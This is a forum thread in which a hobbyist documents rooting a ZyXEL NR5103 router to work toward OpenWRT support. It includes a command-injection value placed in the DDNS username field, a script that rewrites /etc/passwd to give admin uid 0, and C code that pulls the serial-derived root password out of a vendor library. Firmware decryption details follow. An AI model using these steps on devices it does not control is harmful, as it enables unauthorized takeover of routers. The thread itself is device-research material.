ZyXel NR5103 observations

Greetings,

Here are some details I've gathered about ZyXeL NR5103 while I was trying out my options for doing something about the latest vendor firmware having multiple open CVEs. I mistakenly thought this manufacturer would actually provide updates in a timely manner.

Stock firmware

The latest publicly available version is called V4.19(ABYC.3)C0 and it is based on OpenWRT 19.07.7. The additions and modifications are, at a lack of better word, interesting.

Like any good citizen, I've filed a request with ZyXeL for the release of the open source code related to the product. They actually promised to send me something on 30th of September. I'll post about it once I have something to write about.

Root

If someone is interested, I can write in more detail about how I found this one. Anyway, follow the instructions and you'll get root in 59 minutes at most!

# the basic idea is to set up DDNS (not supported on this model)
# and use a missing shell escape to run an arbitrary shell script
# as root. first, enable SSH access from the web GUI. ssh in with
# user admin, password is the same that you use for the GUI.
#
# then let's run one of the configuration utilities.
admin@NR5103:~$ cfg ddns --help
<...instructions...>
# sadly I sort of bricked my NR5103 so I can't give the exact
# command I used but the help output was rather clear about
# how to configure a user-defined DDNS service, which is just
# what we want to do.
#
# the cfg command is prone to segfaulting at the slightest error. you
# need to supply every parameter for the config items every time or
# your changes will be applied only partially or not at all, depending
# on where the segfault happens.
#
# the other parameters don't matter as long as the utility doesn't 
# segfault but your username should be something like:
#
# user;/tmp/x;
#
# this will make the router run a cron job with insufficient argument
# escaping at midnight. use the router web GUI to adjust time zone so
# that you get closest to midnight. unfortunately the gui or cmdline
# don't seem to offer a way of setting the time directly.
#
# it should set up a cron job with the obvious error in the user name 
# escape, letting us run as root whatever we want by creating a
# shell script.
admin@NR5103$ cat tmp/spool/cron/ddns/root 
0 0 * * * /usr/sbin/ez-ipupdate -S userdefined -U http://10.100.200.1/ddns -h test -u user;/tmp/x;:user -i eth1 -t 10
# regarding what our script should contain, there's an interesting
# quirky modification in the firmware kernel: suid bit does nothing.
#
# so, I settled for this:
admin@NR5103:~$ touch /tmp/x; chmod 755 /tmp/x; cat << EOF > /tmp/x
#!/bin/sh

cat /etc/passwd|sed s,21:21,0:0,g > /tmp/y
cat /tmp/y > /etc/passwd
EOF
admin@NR5103:~$
# ...then just wait until the system clock rolls over and login again
# over ssh as admin. lo and behold, admin has become root!

Root password
NB: sadly my notes fail me again - I may not have tested this as the admin user. However, this is useful either way, as you no longer have to repeat the above procedure every time you reboot the stock firmware because you already know the root password and can just login normally.

These devices use the same password for root and supervisor users. supervisor has more rights than the default admin but isn't obviously root. The password is derived from the unit serial number, so I figured there must be library functions in there for generating it.

So, I dumped everything from the router to my computer, fired up Ghidra and turns out libzyutil.so has a promising function zyUtilIGetMrdMasterPass, returning what's essentially an array of strings .

First, clone yourself an OpenWTR build dir, check out tag v19.07.7, and set it up for zyxel_ex5601. Others may work too but this one was the first one I tried and had enough superficial similarity to actually work - similar enough CPU, same libc, etc. Build the cross-compilation toolchain and then compile this:

#include <stdio.h>

extern void zyUtilIGetMrdMasterPass(unsigned char **param_1);

int main(void)
{
  unsigned char *a[16] = {
    [0 ... 15] = "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"
  };

  zyUtilIGetMrdMasterPass(a);
  for(int i=0;i < 16; i++)
    printf("%d: %s\n", i, a[i]);
}

Either you have to copy the vendor library over or just do what I did:

export CC="../staging_dir/toolchain-aarch64_cortex-a53_gcc-13.3.0_musl/bin/aarch64-openwrt-linux-musl-gcc"
${CC} give_password.c -L../staging_dir/target-aarch64_cortex-a53_musl/root-mediatek/lib -lzyutil -lssl -Wl,--allow-shlib-undefined -o give_password

Then copy it over and run. For convenience, here's a ready-built binary which you can just scp over to your router and run. I would be interested to know if this works on other current ZyXeL devices, too.

I'll post more later tonight, I got as far as successfully writing partitions and accidentally bricking the device. After this I took it apart, uncovered everything and possibly broke it for good.

That device is not supported by OpenWRT. Happy you found matched openwrt toolchain for your travails.

I know. My aim is to continue writing support once I get the device back to a working state.

Cool, try to extract like hardware parameters from boot log - flash (aka mtd), memory size, soc type, whether 5g modem is supported/able, rough insight on wifi hardware etc.

fw download courtesy google

Yes this (ABYC.3) is the latest publicly available version from 2022 with multiple vulnerabilities.

I have dumped all of the content in the device. It has a 4 GB eMMC, 1024 MB of RAM... I'll write more about it soon. I should have a device tree backup and definitely do have a kernel config. I've also spent most of the week figuring out which parts of the kernel source are actually open and seems like almost everything should be. If only I hadn't possibly broken the device...

The downloadable firmware is encrypted but the device has a key for decryption and, interestingly enough, the vendor OS upgrade process does decryption by running a binary which does about a dozen calls to system(), executing things like openssl despite being also linked against the library itself. Makes it really easy to follow its tracks. Also, the firmware happened to have strace command available, once again making everything easier. Decrypted firmware image is 106 MB in size and consists of a bunch of partition images:

$ ls
boot-verified.img        MCF_OTA_2.img                   root_ro.sig
ddr_num                  mcupm-verified.img              root.squashfs
dpm-verified.img         medmcu-verified.img             spmfw-verified.img
dsp-verified.bin         model                           sspm-verified.img
lk-verified.img          modem-verified.img              tee-verified.img
loader_ext-verified.img  pi_img-verified.img
MCF_OTA_1.img            preloader_evb6890v1_64_cpe.bin

Now that I think of it, the firmware image itself has a copy of the decryption key, too. At least on my device they reside in /usr/.cert and /xnvfile/.cert.

Nice if you shared it, not derivable from crypted update file.
binwalk decrypted things in the meantime.

True, good point. The whole content of /usr/.cert is now available here.

Turns out it is not dead after all. It is just suffering of an identity crisis.

Bus 001 Device 072: ID 0e8d:0003 MediaTek Inc. MT6227 phone

Here's the device tree.